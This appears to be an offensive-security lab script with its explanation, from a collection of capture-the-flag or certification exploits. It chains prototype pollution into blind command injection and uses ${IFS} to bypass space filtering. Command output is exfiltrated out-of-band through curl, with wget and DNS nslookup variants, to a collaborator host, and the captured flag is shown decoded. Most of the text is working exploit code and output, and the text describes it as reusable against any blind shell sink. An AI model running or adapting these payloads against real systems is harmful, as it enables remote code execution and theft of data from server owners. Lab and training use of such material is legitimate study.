Blind OOB
Blind command injection: out-of-band output exfiltration with ${IFS} space bypass
Builds a ${IFS}-encoded injection payload that runs a command and exfiltrates its full output out-of-band to a collaborator host.
When a command-injection sink returns no output in the response, the injected command must ship its own output to an attacker-controlled listener. The reusable core has two parts. ifs() rewrites every literal space as ${IFS}, the shell’s internal field separator, so the command still tokenises after a sink (or WAF) strips spaces; the natural command is written with normal spaces and converted in one pass, which keeps the payload readable and avoids hand-escaping ${IFS} inside an f-string. oob_payload() breaks out of the original ping <ip> invocation with ;, runs the target command, base64-encodes its output on a single line (-w0, so newlines never split the value), and places it in a curl request path aimed at the collaborator. Because the full output rides out in one request, this is a one-shot exfil rather than the char-by-char oracle used for in-band blind extraction. The operator recovers the data from the collaborator’s interaction log and base64-decodes it. HTTP egress is the simplest carrier; when the target lacks curl, wget -qO- issues the identical request and is the usual drop-in (-q silences it, -O- discards the body). Where only DNS leaves the host, swapping curl http://COLLAB/$(...) for nslookup $(... | base32).COLLAB leaks the (base32, DNS-safe) output via resolver lookups instead. In this lab the injection reaches the shell through prototype pollution of the deviceIP property, but the pollution is only the delivery vehicle: the exfil core is sink-agnostic and reused wherever a blind shell sink is reachable.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
s = requests.Session()
PROXIES = {} # e.g. {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} for Burp
TARGET = "http://target.htb"
COLLAB = "abcdef.oast.fun" # Burp Collaborator / interactsh host that logs the OOB hit
def ifs(cmd):
"""Swap every literal space for ${IFS} so a space-filtering shell sink still tokenises the command."""
return cmd.replace(" ", "${IFS}")
def oob_payload(cmd):
"""Break out of the original `ping <ip>` call, run `cmd`, and exfiltrate its FULL output
out-of-band in one shot. Output is base64'd on a single line and placed in the request
path, so the collaborator logs it with no in-band reflection. DNS-only egress? swap the
curl for: nslookup $(<cmd> | base32 -w0).COLLAB (base32 is DNS-label safe)."""
shell = f"127.0.0.1; curl http://{COLLAB}/$({cmd} | base64 -w0)"
return ifs(shell)
def rce(cmd):
"""Deliver via the prototype-pollution sink (vehicle), then trigger the shell call.
The polluted `deviceIP` is concatenated into the server-side ping command."""
payload = oob_payload(cmd)
r1 = s.post(f"{TARGET}/update", json={"constructor": {"prototype": {"deviceIP": payload}}}, verify=False, proxies=PROXIES)
r2 = s.get(f"{TARGET}/ping", verify=False, proxies=PROXIES) # fires the sink; output leaves OOB
if r1.ok and r2.ok:
print(f"[+] Fired '{cmd}' -- watch {COLLAB} for the base64 hit")
else:
print(f"[-] Delivery failed (update={r1.status_code}, ping={r2.status_code})")
if __name__ == "__main__":
print(f"[*] Payload: {oob_payload('cat /flag.txt')}")
rce("cat /flag.txt")wget alternative (no curl)
# curl unavailable? wget fires the same OOB request; -q quiets it, -O- discards the body.
# In oob_payload(), swap curl for wget inside the shell= f-string.
127.0.0.1; wget -qO- http://abcdef.oast.fun/$(cat /flag.txt | base64 -w0)Collaborator interaction + decode
[*] Payload: 127.0.0.1;${IFS}curl${IFS}http://abcdef.oast.fun/$(cat${IFS}/flag.txt${IFS}|${IFS}base64${IFS}-w0)
[+] Fired 'cat /flag.txt' -- watch abcdef.oast.fun for the base64 hit
# Logged at the collaborator:
GET /SFRCe2I5MmQ0NDFmZjA1OTVjOTA0ZGE1MGUzYzNkYmM5MmRifQo= HTTP/1.1
Host: abcdef.oast.fun
$ echo SFRCe2I5MmQ0NDFmZjA1OTVjOTA0ZGE1MGUzYzNkYmM5MmRifQo= | base64 -d
HTB{b92d441ff0595c904da50e3c3dbc92db}Find by: blind command injection, OOB exfiltration, collaborator, interactsh, oastify, DNS exfil, IFS, space filter bypass, no output reflection, RCE, prototype pollution sink, base64 exfil · Source: CWEE Scripts/Prototype Pollution + CMDI RCE